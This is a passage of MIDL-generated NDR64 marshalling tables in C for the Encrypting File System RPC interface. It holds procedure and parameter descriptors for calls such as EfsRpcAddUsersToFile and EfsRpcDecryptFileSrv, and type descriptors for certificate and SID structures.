0x10 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *char */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 32 /* 0x20 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag76\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag74_t __midl_frag74 =\n{ \n/* ENCRYPTION_CERTIFICATE */\n    { \n    /* ENCRYPTION_CERTIFICATE */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* ENCRYPTION_CERTIFICATE */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag79,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag73_t __midl_frag73 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 500 /* 0x1f4 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag72_t __midl_frag72 =\n{ \n/* **ENCRYPTION_CERTIFICATE */\n    { \n    /* **ENCRYPTION_CERTIFICATE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* **ENCRYPTION_CERTIFICATE */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag73\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *ENCRYPTION_CERTIFICATE */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag74\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag80\n    }\n};\n\nstatic const __midl_frag71_t __midl_frag71 =\n{ \n/* ENCRYPTION_CERTIFICATE_LIST */\n    { \n    /* ENCRYPTION_CERTIFICATE_LIST */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* ENCRYPTION_CERTIFICATE_LIST */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag81,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag67_t __midl_frag67 =\n{ \n/* EfsRpcAddUsersToFile */\n    { \n    /* EfsRpcAddUsersToFile */      /* procedure EfsRpcAddUsersToFile */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EncryptionCertificates */      /* parameter EncryptionCertificates */\n        &__midl_frag71,\n        { \n        /* EncryptionCertificates */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag65_t __midl_frag65 =\n{ \n/* *ENCRYPTION_CERTIFICATE_HASH_LIST */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag38\n};\n\nstatic const __midl_frag62_t __midl_frag62 =\n{ \n/* EfsRpcRemoveUsersFromFile */\n    { \n    /* EfsRpcRemoveUsersFromFile */      /* procedure EfsRpcRemoveUsersFromFile */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Users */      /* parameter Users */\n        &__midl_frag38,\n        { \n        /* Users */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag60_t __midl_frag60 =\n{ \n/* *ENCRYPTION_CERTIFICATE_HASH_LIST */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag38\n};\n\nstatic const __midl_frag59_t __midl_frag59 =\n{ \n/* **ENCRYPTION_CERTIFICATE_HASH_LIST */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag60\n};\n\nstatic const __midl_frag56_t __midl_frag56 =\n{ \n/* EfsRpcQueryRecoveryAgents */\n    { \n    /* EfsRpcQueryRecoveryAgents */      /* procedure EfsRpcQueryRecoveryAgents */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RecoveryAgents */      /* parameter RecoveryAgents */\n        &__midl_frag59,\n        { \n        /* RecoveryAgents */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag54_t __midl_frag54 =\n{ \n/*  */\n    { \n    /* **ENCRYPTION_CERTIFICATE_HASH */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag39\n    }\n};\n\nstatic const __midl_frag53_t __midl_frag53 =\n{ \n/* *ENCRYPTION_CERTIFICATE_HASH */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag41\n};\n\nstatic const __midl_frag52_t __midl_frag52 =\n{ \n/*  */\n    { \n    /* *RPC_SID */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag42\n    },\n    { \n    /* *EFS_HASH_BLOB */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag46\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag392\n    }\n};\n\nstatic const __midl_frag50_t __midl_frag50 =\n{ \n/*  */\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag47\n    }\n};\n\nstatic const __midl_frag48_t __midl_frag48 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 100 /* 0x64 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag47_t __midl_frag47 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag48\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag395\n    }\n};\n\nstatic const __midl_frag46_t __midl_frag46 =\n{ \n/* EFS_HASH_BLOB */\n    { \n    /* EFS_HASH_BLOB */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* EFS_HASH_BLOB */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag50,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag44_t __midl_frag44 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x1,    /* FC64_UINT8 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    }\n};\n\nstatic const __midl_frag43_t __midl_frag43 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag44\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag398\n    }\n};\n\nstatic const __midl_frag42_t __midl_frag42 =\n{ \n/* RPC_SID */\n    { \n    /* RPC_SID */\n        0x32,    /* FC64_CONF_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* RPC_SID */\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag43\n    }\n};\n\nstatic const __midl_frag41_t __midl_frag41 =\n{ \n/* ENCRYPTION_CERTIFICATE_HASH */\n    { \n    /* ENCRYPTION_CERTIFICATE_HASH */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* ENCRYPTION_CERTIFICATE_HASH */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        &__midl_frag52,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag40_t __midl_frag40 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 500 /* 0x1f4 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag39_t __midl_frag39 =\n{ \n/* **ENCRYPTION_CERTIFICATE_HASH */\n    { \n    /* **ENCRYPTION_CERTIFICATE_HASH */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* **ENCRYPTION_CERTIFICATE_HASH */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag40\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *ENCRYPTION_CERTIFICATE_HASH */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag41\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag53\n    }\n};\n\nstatic const __midl_frag38_t __midl_frag38 =\n{ \n/* ENCRYPTION_CERTIFICATE_HASH_LIST */\n    { \n    /* ENCRYPTION_CERTIFICATE_HASH_LIST */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* ENCRYPTION_CERTIFICATE_HASH_LIST */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag54,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag28_t __midl_frag28 =\n{ \n/* EfsRpcDecryptFileSrv */\n    { \n    /* EfsRpcDecryptFileSrv */      /* procedure EfsRpcDecryptFileSrv */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* OpenFlag */      /* parameter OpenFlag */\n        &__midl_frag398,\n        { \n        /* OpenFlag */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* long 